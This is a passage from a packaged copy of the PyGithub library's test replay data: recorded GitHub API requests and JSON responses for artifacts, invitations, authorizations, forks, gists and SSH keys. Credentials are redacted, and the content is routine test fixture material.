hub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-06-01T00:10:32Z","pushed_at":"2023-06-01T08:45:38Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13896,"stargazers_count":6042,"watchers_count":6042,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1633,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":252,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1633,"open_issues":252,"watchers":6042,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-06-01T00:10:32Z","pushed_at":"2023-06-01T08:45:38Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13896,"stargazers_count":6042,"watchers_count":6042,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1633,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":252,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1633,"open_issues":252,"watchers":6042,"default_branch":"master"},"network_count":1633,"subscribers_count":0} https GET api.github.com None /repos/lexa/PyGithub/actions/artifacts/396724437 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('Server', 'GitHub.com'), ('Date', 'Thu, 01 Jun 2023 09:00:24 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('X-OAuth-Scopes', 'delete:packages, gist, read:discussion, read:org, repo, workflow, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4681'), ('X-RateLimit-Reset', '1685613199'), ('X-RateLimit-Used', '319'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '9444:40F8:47980C:4B23F7:64785E28')] {"message":"Not Found","documentation_url":"https://docs.github.com/rest/reference/actions#get-an-artifact"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Artifact.testGetSingleArtifactFromRepo.txt0000644000175100001660000000456314756101563026374 0ustar00runnerdockerhttps GET api.github.com None /repos/transmission-web-control/transmission-web-control/actions/artifacts/719509139 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 01 Jun 2023 09:00:25 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"6b6a37c94fd7df8699d17b242810fca1ff325f60bf58eb436f2b58b62f890a20"'), ('X-OAuth-Scopes', 'delete:packages, gist, read:discussion, read:org, repo, workflow, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4679'), ('X-RateLimit-Reset', '1685613199'), ('X-RateLimit-Used', '321'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '75E8:24BA:6C48A0:71DDB9:64785E29')] {"id":719509139,"node_id":"MDg6QXJ0aWZhY3Q3MTk1MDkxMzk=","name":"build-zip","size_in_bytes":4130747,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/719509139","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/719509139/zip","expired":false,"created_at":"2023-05-29T06:12:32Z","updated_at":"2023-05-29T06:12:33Z","expires_at":"2023-08-27T06:12:11Z","workflow_run":{"id":5109062352,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"replace-datagrip","head_sha":"b4abc8ce51271dfedb511683be21b7b48a9b2ad4"}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testAcceptInvitation.txt0000644000175100001660000000201514756101563026501 0ustar00runnerdockerhttps PATCH api.github.com None /user/repository_invitations/4294886 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {} 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4981'), ('x-content-type-options', 'nosniff'), ('content-security-policy', "default-src 'none'"), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'D039:11DAA:17FC875:24A1090:59635F0C'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-runtime-rack', '0.072659'), ('x-xss-protection', '1; mode=block'), ('x-served-by', '7f48e2f7761567e923121f17538d7a6d'), ('date', 'Mon, 10 Jul 2017 11:03:40 GMT'), ('access-control-allow-origin', '*'), ('x-frame-options', 'deny'), ('x-ratelimit-reset', '1499685825')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testAttributes.txt0000644000175100001660000000244614756101563025373 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"79f748546e5fc4492505a70de6542183"'), ('date', 'Tue, 08 May 2012 09:51:20 GMT'), ('content-type', 'application/json; charset=utf-8')] {"public_repos":10,"type":"User","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","followers":13,"bio":"","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","disk_usage":16692,"plan":{"private_repos":5,"space":614400,"name":"micro","collaborators":1},"html_url":"https://github.com/jacquev6","blog":"http://vincent-jacques.net","login":"jacquev6","email":"vincent@vincent-jacques.net","created_at":"2010-07-09T06:10:06Z","company":"Criteo","location":"Paris, France","total_private_repos":5,"public_gists":1,"following":24,"name":"Vincent Jacques","id":327146,"owned_private_repos":5,"private_gists":5,"collaborators":0,"hireable":false,"node_id":"MDQ6VXNlcjMyNzE0Ng==","two_factor_authentication":true} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testCreateAuthorizationWithAllArguments.txt0000644000175100001660000000203214756101563032373 0ustar00runnerdockerhttps POST api.github.com None /authorizations {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"note": "Note created by PyGithub", "scopes": ["repo"], "note_url": "http://vincent-jacques.net/PyGithub"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4991'), ('content-length', '382'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"41f3600b4ddb741cd59a00a88321af92"'), ('date', 'Tue, 22 May 2012 18:27:36 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/authorizations/372294')] {"scopes":["repo"],"updated_at":"2012-05-22T18:27:36Z","app":{"url":"http://vincent-jacques.net/PyGithub","name":"Note created by PyGithub (API)"},"url":"https://api.github.com/authorizations/372294","token":"b7fd2a0346d9d590b1fad5e10971e8d29637a4ce","note":"Note created by PyGithub","note_url":"http://vincent-jacques.net/PyGithub","created_at":"2012-05-22T18:27:36Z","id":372294} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testCreateAuthorizationWithClientIdAndSecret.txt0000644000175100001660000000202114756101563033257 0ustar00runnerdockerhttps POST api.github.com None /authorizations {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"client_secret": "0123456789012345678901234567890123456789", "client_id": "01234567890123456789"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4991'), ('content-length', '382'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"41f3600b4ddb741cd59a00a88321af92"'), ('date', 'Tue, 22 May 2012 18:27:36 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/authorizations/372294')] {"scopes":["repo"],"updated_at":"2012-05-22T18:27:36Z","app":{"url":"http://vincent-jacques.net/PyGithub","name":"Note created by PyGithub (API)"},"url":"https://api.github.com/authorizations/372294","token":"b7fd2a0346d9d590b1fad5e10971e8d29637a4ce","note":"Note created by PyGithub","note_url":"http://vincent-jacques.net/PyGithub","created_at":"2012-05-22T18:27:36Z","id":372294} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testCreateAuthorizationWithoutArguments.txt0000644000175100001660000000157314756101563032503 0ustar00runnerdockerhttps POST api.github.com None /authorizations {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4987'), ('content-length', '328'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4a48781fcd24441dade6248aab748487"'), ('date', 'Tue, 22 May 2012 18:03:17 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/authorizations/372259')] {"scopes":[],"updated_at":"2012-05-22T18:03:17Z","app":{"url":"http://developer.github.com/v3/oauth/#oauth-authorizations-api","name":"GitHub API"},"url":"https://api.github.com/authorizations/372259","token":"82459c4500086f8f0cc67d2936c17d1e27ad1c33","note":null,"created_at":"2012-05-22T18:03:17Z","note_url":null,"id":372259} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testCreateFork.txt0000644000175100001660000001506014756101563025266 0ustar00runnerdockerhttps GET api.github.com None /users/nvie {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4960'), ('content-length', '598'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"75740284d989e9a492e32f435cff48ac"'), ('date', 'Sat, 26 May 2012 20:23:33 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"User","public_gists":19,"url":"https://api.github.com/users/nvie","hireable":false,"bio":null,"company":"3rd Cloud","gravatar_id":"c5a7f21b46df698f3db31c37ed0cf55a","login":"nvie","blog":"http://nvie.com","email":"vincent@3rdcloud.com","public_repos":62,"followers":299,"name":"Vincent Driessen","created_at":"2009-05-12T21:19:38Z","location":"Netherlands","avatar_url":"https://secure.gravatar.com/avatar/c5a7f21b46df698f3db31c37ed0cf55a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":83844,"following":41,"html_url":"https://github.com/nvie"} https GET api.github.com None /repos/nvie/gitflow {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4959'), ('content-length', '1182'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"b96ea8f5f6ac24b533e2a5dc5ea2479d"'), ('date', 'Sat, 26 May 2012 20:23:34 GMT'), ('content-type', 'application/json; charset=utf-8')] {"description":"Git extensions to provide high-level repository operations for Vincent Driessen's branching model.","full_name":"nvie/gitflow","has_wiki":true,"has_issues":true,"updated_at":"2012-05-26T19:46:41Z","forks":330,"mirror_url":null,"homepage":"http://nvie.com/posts/a-successful-git-branching-model/","ssh_url":"git@github.com:nvie/gitflow.git","open_issues":92,"fork":false,"svn_url":"https://github.com/nvie/gitflow","pushed_at":"2012-02-14T13:11:04Z","size":4602,"html_url":"https://github.com/nvie/gitflow","private":false,"url":"https://api.github.com/repos/nvie/gitflow","clone_url":"https://github.com/nvie/gitflow.git","owner":{"gravatar_id":"c5a7f21b46df698f3db31c37ed0cf55a","avatar_url":"https://secure.gravatar.com/avatar/c5a7f21b46df698f3db31c37ed0cf55a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/nvie","login":"nvie","id":83844},"name":"gitflow","has_downloads":true,"language":"Shell","watchers":3973,"git_url":"git://github.com/nvie/gitflow.git","id":481366,"permissions":{"admin":false,"pull":true,"push":false},"master_branch":"develop","created_at":"2010-01-20T23:14:12Z"} https POST api.github.com None /repos/nvie/gitflow/forks {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {} 202 [('status', '202 Accepted'), ('x-ratelimit-remaining', '4958'), ('content-length', '3486'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"92f5b171559bccda47d7ebb598ba4f73"'), ('date', 'Sat, 26 May 2012 20:23:35 GMT'), ('content-type', 'application/json; charset=utf-8')] {"parent":{"clone_url":"https://github.com/nvie/gitflow.git","has_downloads":true,"watchers":3973,"updated_at":"2012-05-26T20:23:35Z","master_branch":"develop","homepage":"http://nvie.com/posts/a-successful-git-branching-model/","url":"https://api.github.com/repos/nvie/gitflow","has_wiki":true,"has_issues":true,"fork":false,"forks":331,"size":4602,"private":false,"open_issues":92,"svn_url":"https://github.com/nvie/gitflow","owner":{"url":"https://api.github.com/users/nvie","avatar_url":"https://secure.gravatar.com/avatar/c5a7f21b46df698f3db31c37ed0cf55a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c5a7f21b46df698f3db31c37ed0cf55a","login":"nvie","id":83844},"name":"gitflow","language":"Shell","description":"Git extensions to provide high-level repository operations for Vincent Driessen's branching model.","ssh_url":"git@github.com:nvie/gitflow.git","git_url":"git://github.com/nvie/gitflow.git","pushed_at":"2012-02-14T13:11:04Z","created_at":"2010-01-20T23:14:12Z","id":481366,"mirror_url":null,"html_url":"https://github.com/nvie/gitflow","full_name":"nvie/gitflow"},"clone_url":"https://github.com/jacquev6/gitflow.git","has_downloads":true,"watchers":1,"updated_at":"2012-05-26T20:23:35Z","source":{"clone_url":"https://github.com/nvie/gitflow.git","has_downloads":true,"watchers":3973,"updated_at":"2012-05-26T20:23:35Z","master_branch":"develop","homepage":"http://nvie.com/posts/a-successful-git-branching-model/","url":"https://api.github.com/repos/nvie/gitflow","has_wiki":true,"has_issues":true,"fork":false,"forks":331,"size":4602,"private":false,"open_issues":92,"svn_url":"https://github.com/nvie/gitflow","owner":{"url":"https://api.github.com/users/nvie","avatar_url":"https://secure.gravatar.com/avatar/c5a7f21b46df698f3db31c37ed0cf55a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c5a7f21b46df698f3db31c37ed0cf55a","login":"nvie","id":83844},"name":"gitflow","language":"Shell","description":"Git extensions to provide high-level repository operations for Vincent Driessen's branching model.","ssh_url":"git@github.com:nvie/gitflow.git","git_url":"git://github.com/nvie/gitflow.git","pushed_at":"2012-02-14T13:11:04Z","created_at":"2010-01-20T23:14:12Z","id":481366,"mirror_url":null,"html_url":"https://github.com/nvie/gitflow","full_name":"nvie/gitflow"},"permissions":{"pull":true,"admin":true,"push":true},"master_branch":"develop","homepage":"http://nvie.com/posts/a-successful-git-branching-model/","url":"https://api.github.com/repos/jacquev6/gitflow","has_wiki":true,"has_issues":false,"fork":true,"forks":0,"size":4602,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/gitflow","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"gitflow","language":"Shell","description":"Git extensions to provide high-level repository operations for Vincent Driessen's branching model.","ssh_url":"git@github.com:jacquev6/gitflow.git","git_url":"git://github.com/jacquev6/gitflow.git","pushed_at":"2012-02-14T13:11:04Z","created_at":"2012-05-26T20:23:35Z","id":4457584,"mirror_url":null,"html_url":"https://github.com/jacquev6/gitflow","full_name":"jacquev6/gitflow"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testCreateGist.txt0000644000175100001660000000410414756101563025270 0ustar00runnerdockerhttps POST api.github.com None /gists {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"files": {"foobar.txt": {"content": "File created by PyGithub"}}, "public": true, "description": "Gist created by PyGithub"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4967'), ('content-length', '1446'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4099af9b70c91fb9c1c8dc72bf773c33"'), ('date', 'Sat, 19 May 2012 07:00:58 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/gists/2729810')] {"updated_at":"2012-05-19T07:00:58Z","forks":[],"url":"https://api.github.com/gists/2729810","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729810.git","git_push_url":"git@gist.github.com:2729810.git","files":{"foobar.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2729810/73a1c7f17aa0ad5d7cbb5a8ca033ce47d3d23197/foobar.txt","size":24,"filename":"foobar.txt","content":"File created by PyGithub","language":"Text"}},"html_url":"https://gist.github.com/2729810","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"description":"Gist created by PyGithub","created_at":"2012-05-19T07:00:58Z","id":"2729810","history":[{"change_status":{"deletions":0,"additions":1,"total":1},"url":"https://api.github.com/gists/2729810/35deb29ab1caf4c68c03d8244ad674b56de01a5c","committed_at":"2012-05-19T07:00:58Z","version":"35deb29ab1caf4c68c03d8244ad674b56de01a5c","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146}}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testCreateGistWithoutDescription.txt0000644000175100001660000000400314756101563031056 0ustar00runnerdockerhttps POST api.github.com None /gists {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"files": {"foobar.txt": {"content": "File created by PyGithub"}}, "public": true} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4981'), ('content-length', '1424'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"7abbb6858d17ad64e3d5874676725694"'), ('date', 'Sat, 26 May 2012 09:50:03 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/gists/2793179')] {"updated_at":"2012-05-26T09:50:02Z","url":"https://api.github.com/gists/2793179","comments":0,"public":true,"forks":[],"git_pull_url":"git://gist.github.com/2793179.git","files":{"foobar.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2793179/73a1c7f17aa0ad5d7cbb5a8ca033ce47d3d23197/foobar.txt","size":24,"filename":"foobar.txt","content":"File created by PyGithub","language":"Text"}},"user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"description":null,"created_at":"2012-05-26T09:50:02Z","git_push_url":"git@gist.github.com:2793179.git","id":"2793179","history":[{"url":"https://api.github.com/gists/2793179/069e7c0041c34619b5aebf0e918536cb3bfeff9a","change_status":{"deletions":0,"additions":1,"total":1},"version":"069e7c0041c34619b5aebf0e918536cb3bfeff9a","committed_at":"2012-05-26T09:50:03Z","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}}],"html_url":"https://gist.github.com/2793179"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testCreateKey.txt0000644000175100001660000000273414756101563025121 0ustar00runnerdockerhttps POST api.github.com None /user/keys {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"key": "ssh-rsa 